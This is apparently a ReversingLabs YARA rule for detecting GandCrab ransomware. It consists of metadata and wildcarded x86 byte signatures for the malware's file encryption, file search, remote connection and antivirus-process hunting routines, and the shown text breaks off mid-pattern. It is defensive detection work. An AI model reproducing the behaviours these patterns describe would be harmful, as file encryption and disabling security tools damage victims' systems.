"a09ed7e6-f3a6-5f44-9d5b-a9c529cf1190" - date = "2020-06-26" - modified = "2020-07-15" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.GandCrab.yara#L1-L892" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "79381635681482fc90defe4e10e97bf16d534837518fc06ae579822e9d77b461" - score = 75 - quality = 88 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "GandCrab" - tc_detection_factor = 5 - importance = 25 - - strings: - $remote_connection = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B F9 89 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? 85 DB 74 ?? 33 C0 - 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? - 57 FF 15 ?? ?? ?? ?? 8D 4D ?? 8D 34 45 ?? ?? ?? ?? 8D 46 ?? 50 E8 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 56 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? - 8B D8 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 89 45 ?? FF D6 57 53 FF D6 - 6A ?? 59 BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 A5 8B 35 ?? ?? ?? ?? 53 FF D6 33 FF 8D - 85 ?? ?? ?? ?? 21 BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 83 EC ?? - FF 75 ?? 53 FF D6 8B 75 ?? 8D 4D ?? 50 53 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 85 - C0 74 ?? 47 83 7D ?? ?? 74 ?? 8B 4D ?? 8D 55 ?? 83 65 ?? ?? E8 ?? ?? ?? ?? 85 C0 74 - ?? 8B 45 ?? 85 C0 74 ?? 8B 4D ?? 89 01 EB ?? 33 FF 68 ?? ?? ?? ?? 6A ?? 56 FF 15 ?? - ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? - FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3 - } - $remote_connection_v2 = { - 55 8B EC 83 EC ?? 53 56 8B D9 89 55 ?? 57 8D 4D ?? 89 5D ?? E8 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 53 89 45 ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 3C 45 - ?? ?? ?? ?? 8D 47 ?? 50 6A ?? FF D6 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B D8 - FF D6 89 45 ?? 85 DB 74 ?? 8D 47 ?? 3B F8 73 ?? 8B F3 EB ?? 33 F6 FF 75 ?? 56 FF 15 - ?? ?? ?? ?? F3 0F 6F 05 ?? ?? ?? ?? 56 F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F - 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 - ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? FF - 15 ?? ?? ?? ?? 8D 45 ?? 33 FF 50 FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 68 ?? ?? ?? ?? 83 - EC ?? 68 ?? ?? ?? ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 50 56 8B 75 ?? 8D 4D ?? 68 ?? ?? - ?? ?? 56 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? BF ?? ?? ?? ?? 74 ?? 8B 4D ?? 8D 55 - ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 85 C0 74 ?? 8B 4D ?? 89 - 01 EB ?? 33 FF 68 ?? ?? ?? ?? 6A ?? 56 8B 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? 6A ?? - FF 75 ?? FF D6 68 ?? ?? ?? ?? 6A ?? 53 FF D6 8B 45 ?? 85 C0 74 ?? 50 FF 15 ?? ?? ?? - ?? 8B C7 5F 5E 5B 8B E5 5D C3 - } - $crypt_files = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 51 33 C0 89 4C 24 ?? 40 8B DA 50 51 50 - 83 EC ?? 89 5C 24 ?? 50 51 50 51 50 51 50 51 50 83 EC ?? 50 51 50 8D 8C 24 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B 75 ?? 8B - F8 03 F3 8D 4E ?? 8D 0C CF C1 E1 ?? 51 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 04 B7 8D 04 C5 - ?? ?? ?? ?? 50 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B 75 ?? 89 44 24 ?? 8D 0C F5 ?? ?? ?? ?? - 51 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 0C DD ?? ?? ?? ?? 8B F8 51 8D 4C 24 ?? E8 ?? ?? ?? - ?? 8B D8 89 5C 24 ?? 85 FF 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 57 68 ?? ?? ?? ?? 56 FF - 75 ?? 8D 0C 36 8B 35 ?? ?? ?? ?? 89 4C 24 ?? FF D6 8B 4C 24 ?? 8D 04 09 89 44 24 ?? - 8D 44 24 ?? 50 53 68 ?? ?? ?? ?? 51 FF 74 24 ?? FF D6 53 8B 1D ?? ?? ?? ?? FF D3 57 - 8B F0 FF D3 83 C0 ?? 8D 4C 24 ?? 03 C6 50 E8 ?? ?? ?? ?? 57 FF D3 40 8D 4C 24 ?? 50 - E8 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? FF D3 40 8D 4C 24 ?? 50 E8 ?? ?? ?? ?? 33 F6 - 89 44 24 ?? 8B CE 57 89 4C 24 ?? FF D3 85 C0 74 ?? 8B 54 24 ?? 89 54 24 ?? 8B 44 24 - ?? 8A 0C 38 80 F9 ?? 74 ?? 80 F9 ?? 74 ?? 88 0A 42 89 54 24 ?? 40 57 89 44 24 ?? FF - D3 8B 4C 24 ?? 8B 54 24 ?? 3B C8 72 ?? 8B 7C 24 ?? 57 FF D3 85 C0 74 ?? 8B 4C 24 ?? - 89 4C 24 ?? 8A 04 3E 3C ?? 74 ?? 3C ?? 74 ?? 88 01 41 89 4C 24 ?? 57 46 FF D3 8B 4C - 24 ?? 3B F0 72 ?? 8B 7C 24 ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D3 8B 35 ?? ?? - ?? ?? 57 FF D6 8D 4C 24 ?? 8D 3C 47 57 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D3 57 FF - D6 FF 74 24 ?? 8D 34 47 FF 15 ?? ?? ?? ?? 50 56 6A ?? FF 74 24 ?? 6A ?? 68 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D3 57 FF 15 ?? ?? ?? ?? FF 74 24 ?? 8D 34 - 47 FF 15 ?? ?? ?? ?? 50 56 6A ?? FF 74 24 ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 57 FF D3 8B 74 24 ?? 8B 1D ?? ?? ?? ?? 56 FF D3 C1 E0 ?? 8D 4C 24 ?? - 83 C0 ?? 50 E8 ?? ?? ?? ?? 56 FF D3 8D 4C 24 ?? 8D 04 C5 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 56 89 44 24 ?? FF D3 8B 5C 24 ?? 8B F0 8B CB 8D 3C 36 8B D7 E8 ?? ?? ?? ?? 8D 44 - 24 ?? 8B CE 8B 74 24 ?? 50 56 68 ?? ?? ?? ?? 57 C1 E1 ?? 53 89 4C 24 ?? FF 15 ?? ?? - ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 56 FF D3 83 C0 ?? 8D 4C 24 ?? - 50 E8 ?? ?? ?? ?? 56 FF D3 40 8D 4C 24 ?? 50 E8 ?? ?? ?? ?? 89 44 24 ?? 33 F6 8B 44 - 24 ?? 8B FE 50 FF D3 85 C0 74 ?? 8B 54 24 ?? 89 54 24 ?? 8B 44 24 ?? 8A 0C 07 80 F9 - ?? 74 ?? 80 F9 ?? 74 ?? 88 0A 42 89 54 24 ?? 50 47 FF D3 8B 54 24 ?? 3B F8 72 ?? 8B - 7C 24 ?? 57 FF D3 50 FF 74 24 ?? 6A ?? 57 56 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? - 8D 54 24 ?? 89 74 24 ?? 8B CF E8 ?? ?? ?? ?? 59 85 C0 75 ?? 8D 4C 24 ?? E8 ?? ?? ?? - ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? EB ?? 8B 4C 24 ?? 85 C9 74 - ?? 8B 45 ?? 89 08 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? - E8 ?? ?? ?? ?? 33 F6 46 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 5F 8B - C6 5E 5B 8B E5 5D C3 - } - $crypt_files_v2 = { - 8B 55 ?? 8B 1D ?? ?? ?? ?? 8D 04 12 89 44 24 ?? 8D 44 24 ?? 50 51 68 ?? ?? ?? ?? 52 - FF 75 ?? FF D3 8D 04 36 89 44 24 ?? 8D 44 24 ?? 50 57 68 ?? ?? ?? ?? 56 FF 74 24 ?? - FF D3 8B 1D ?? ?? ?? ?? 57 FF D3 FF 74 24 ?? 8B F0 FF D3 6A ?? 83 C0 ?? 68 ?? ?? ?? - ?? 03 F0 56 6A ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? 89 44 24 ?? C7 44 24 ?? - ?? ?? ?? ?? FF D3 8B 54 24 ?? 40 85 D2 74 ?? 3B C6 73 ?? 8D 0C 02 89 44 24 ?? 89 4C - 24 ?? 89 54 24 ?? EB ?? C7 44 24 ?? ?? ?? ?? ?? 57 FF D3 40 83 7C 24 ?? ?? 74 ?? 03 - 44 24 ?? 3B C6 72 ?? C7 44 24 ?? ?? ?? ?? ?? FF 74 24 ?? 33 F6 FF D3 85 C0 74 ?? 8B - 7C 24 ?? EB ?? 8D 9B ?? ?? ?? ?? 8B 4C 24 ?? 8A 04 0E 3C ?? 74 ?? 3C ?? 74 ?? 88 07 - 47 51 46 FF D3 3B F0 72 ?? 8B 7C 24 ?? 57 33 F6 FF D3 85 C0 74 ?? 8B 4C 24 ?? 89 4C - 24 ?? 90 8A 04 3E 3C ?? 74 ?? 3C ?? 74 ?? 88 01 41 89 4C 24 ?? 57 46 FF D3 8B 4C 24 - ?? 3B F0 72 ?? 8B 74 24 ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D7 56 FF 15 ?? ?? - ?? ?? 8D 4C 24 ?? 8D 34 46 56 89 74 24 ?? E8 ?? ?? ?? ?? 8D 54 24 ?? C7 44 24 ?? ?? - ?? ?? ?? 8D 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 50 FF 15 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D7 8B 7C 24 ?? 57 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 56 FF 15 ?? ?? ?? ?? 8B 74 24 ?? 56 FF 74 24 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A - ?? 57 8B 3D ?? ?? ?? ?? FF D7 68 ?? ?? ?? ?? 6A ?? 56 FF D7 8B 74 24 ?? 68 ?? ?? ?? - ?? 56 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 56 FF D7 FF 74 24 ?? 8D 34 46 FF D3 50 56 - 6A ?? FF 74 24 ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 74 24 ?? 68 ?? ?? ?? ?? - 56 FF 15 ?? ?? ?? ?? 56 FF D7 8B 7C 24 ?? 57 8D 34 46 FF D3 50 56 6A ?? 57 6A ?? 68 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 - ?? 8B 35 ?? ?? ?? ?? FF D6 8B F8 6A ?? C1 E7 ?? 68 ?? ?? ?? ?? 83 C7 ?? 57 6A ?? FF - 15 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? FF D6 8D 0C C5 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 - 74 ?? 3B CF 73 ?? 8B F8 EB ?? 33 FF FF 74 24 ?? FF D6 8B 0D ?? ?? ?? ?? 89 44 24 ?? - 85 C9 74 ?? 68 ?? ?? ?? ?? 6A ?? 51 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? - ?? ?? FF D6 83 C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 8B 4C 24 ?? 8D 34 00 - 8B D6 E8 ?? ?? ?? ?? 8B 4C 24 ?? 8D 04 CD ?? ?? ?? ?? 89 44 24 ?? 8D 44 24 ?? 50 57 - 68 ?? ?? ?? ?? 56 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 57 FF - D3 6A ?? 68 ?? ?? ?? ?? 8D 70 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 57 89 44 24 ?? FF D3 8D - 48 ?? 8B 44 24 ?? 85 C0 74 ?? 89 44 24 ?? 3B CE 72 ?? C7 44 24 ?? ?? ?? ?? ?? 57 33 - F6 FF D3 85 C0 74 ?? 8B 4C 24 ?? 89 4C 24 ?? 8A 04 3E 3C ?? 74 ?? 3C ?? 74 ?? 88 01 - 41 89 4C 24 ?? 57 46 FF D3 8B 4C 24 ?? 3B F0 72 ?? 8B 74 24 ?? 56 FF D3 50 FF 74 24 - ?? 6A ?? 56 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 51 8D 54 24 ?? C7 44 24 ?? - ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? - ?? 50 8B 44 24 ?? 50 FF D3 8B 44 24 ?? 68 ?? ?? ?? ?? 6A ?? 50 FF D3 68 ?? ?? ?? ?? - 6A ?? FF 74 24 ?? FF D3 68 ?? ?? ?? ?? 6A ?? FF 74 24 ?? FF D3 8D 4C 24 ?? E8 ?? ?? - ?? ?? 33 C0 5F 5E 5B 8B E5 5D C3 - } - $find_files = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 89 55 ?? 8B F9 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? - ?? ?? 8B CF E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 57 8D 1C 47 89 5D ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF - 15 ?? ?? ?? ?? 8B F0 33 C0 89 75 ?? 66 89 03 83 FE ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? - ?? ?? 8B 5D ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 85 ?? - ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 68 ?? ?? ?? ?? 57 FF 15 - ?? ?? ?? ?? 8B 55 ?? 8B CF 53 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? FF 75 - ?? 8B 03 8D 95 ?? ?? ?? ?? 8B 73 ?? 51 8B CF 89 45 ?? E8 ?? ?? ?? ?? 01 03 59 11 53 - ?? 59 3B 73 ?? 77 ?? 72 ?? 8B 45 ?? 3B 03 73 ?? 8B 45 ?? FF 00 8B 75 ?? 8B 45 ?? 33 - C9 66 89 08 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 56 FF - 15 ?? ?? ?? ?? 33 C0 5F 5E 5B 8B E5 5D C3 - } - $find_files_v2 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 89 55 ?? 8B F9 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? - ?? ?? 8B CF E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? - ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 8D 1C 47 89 5D ?? FF D6 8D 85 ?? ?? ?? ?? 50 - 57 FF 15 ?? ?? ?? ?? 33 C9 89 45 ?? 66 89 0B 83 F8 ?? 75 ?? B8 ?? ?? ?? ?? 5F 5E 5B - 8B E5 5D C3 8B 5D ?? EB ?? 8D A4 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 - FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 - ?? ?? ?? ?? 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 57 FF D6 F6 85 ?? ?? ?? ?? ?? 74 ?? 68 - ?? ?? ?? ?? 57 FF D6 8B 55 ?? 8B CF 53 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? EB - ?? FF 75 ?? 8B 03 8D 95 ?? ?? ?? ?? 8B 73 ?? 51 8B CF 89 45 ?? E8 ?? ?? ?? ?? 83 C4 - ?? 01 03 11 53 ?? 3B 73 ?? 77 ?? 72 ?? 8B 45 ?? 3B 03 73 ?? 8B 45 ?? FF 00 8B 35 ?? - ?? ?? ?? 8B 45 ?? 33 C9 66 89 08 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 - C0 0F 85 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B 8B E5 5D C3 - } - $search_antivirus_processes = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 B8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A - ?? 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B F8 53 6A ?? - 89 7D ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 89 1E 83 FF ?? 74 ?? 56 57 FF 15 ?? ?? - ?? ?? 33 DB 8D 7E ?? 57 FF B4 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 76 ?? - 50 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? FF 75 ?? - FF 15 ?? ?? ?? ?? 43 83 FB ?? 72 ?? 8B 7D ?? 56 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 85 - F6 74 ?? 68 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 - 5D C3 - } - $search_antivirus_processes_v2 = { - C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? - ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? - C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? - ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? - C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? - ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? - C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? - ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? - ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? - C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? - ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 - 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? - ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8B F0 6A ?? 89 74 24 ?? FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? C7 03 ?? - ?? ?? ?? 83 FE ?? 74 ?? 53 56 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8D 4B ?? 33 F6 EB - ?? 8D A4 24 ?? ?? ?? ?? 90 51 FF 74 B4 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 73 ?? 50 - 6A ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 74 ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 57 8B 3D ?? ?? - ?? ?? FF D7 EB ?? 8B 3D ?? ?? ?? ?? 46 8D 4B ?? 83 FE ?? 72 ?? 8B 74 24 ?? 53 56 FF - 15 ?? ?? ?? ?? 8D 4B ?? 85 C0 75 ?? 85 DB 74 ?? 68 ?? ?? ?? ?? 6A ?? 53 FF 15 ?? ?? - ?? ?? 56 FF D7 5F 5E 5B 8B E5 5D C3 - } - $find_files_v2_1 = { - 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 85 C0 74 - ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D3 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? - ?? F7 D8 1B C0 40 75 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 8B CE E8 ?? - ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 8D 3C 46 89 7D ?? FF D3 8D 85 ?? ?? - ?? ?? 50 56 FF 15 ?? ?? ?? ?? 33 C9 89 45 ?? 66 89 0F 83 F8 ?? 75 ?? B8 ?? ?? ?? ?? - 5F 5E 5B 8B E5 5D C3 8B 7D ?? EB ?? 8D 9B ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 - FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF D3 F6 85 ?? ?? - ?? ?? ?? 74 ?? 83 7D ?? ?? 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 0F 84 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D3 8B 55 ?? 8B CE 6A ?? 57 FF 75 ?? FF 75 ?? E8 ?? ?? - ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D3 8B 55 ?? 8B CE 6A ?? 57 FF 75 - ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B 07 6A ?? 68 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 89 45 ?? 8B 47 ?? 6A ?? 89 45 ?? FF 15 ?? ?? ?? ?? 56 8B D8 68 ?? ?? ?? ?? - 53 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B CB E8 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 6A ?? - 53 FF 15 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? 8B 45 ?? 8B 4D ?? EB ?? 83 BD ?? ?? ?? - ?? ?? 0F 57 C0 66 0F 13 45 ?? 72 ?? 51 FF 75 ?? 8B CB E8 ?? ?? ?? ?? 83 C4 ?? 89 55 - ?? EB ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 68 ?? ?? ?? ?? 6A ?? 53 89 45 ?? FF 15 ?? ?? ?? - ?? 8B 45 ?? 8B 4D ?? 01 0F 11 47 ?? 8B 45 ?? 3B 47 ?? 77 ?? 72 ?? 8B 45 ?? 3B 07 73 - ?? 8B 45 ?? FF 00 8B 1D ?? ?? ?? ?? 8B 45 ?? 33 C9 66 89 08 8D 85 ?? ?? ?? ?? 50 FF - 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 33 - C0 5B 8B E5 5D C3 - } - $crypt_files_v2_1 = { - FF 15 ?? ?? ?? ?? 33 D2 89 44 24 ?? 89 44 24 ?? 8D 0C B7 8D 0C CD ?? ?? ?? ?? 85 C0 - 74 ?? 3B CB 73 ?? 8D 3C 01 89 44 24 ?? 89 7C 24 ?? 8B D1 EB ?? 89 54 24 ?? 8B F8 8B - 4D ?? 8D 34 CD ?? ?? ?? ?? 85 C0 74 ?? 8D 0C 32 89 4C 24 ?? 3B CB 73 ?? 8B 54 24 ?? - 8B CF 89 7C 24 ?? 03 FE 89 7C 24 ?? EB ?? 33 C9 89 4C 24 ?? 8B 74 24 ?? 85 C0 74 ?? - 8D 04 F5 ?? 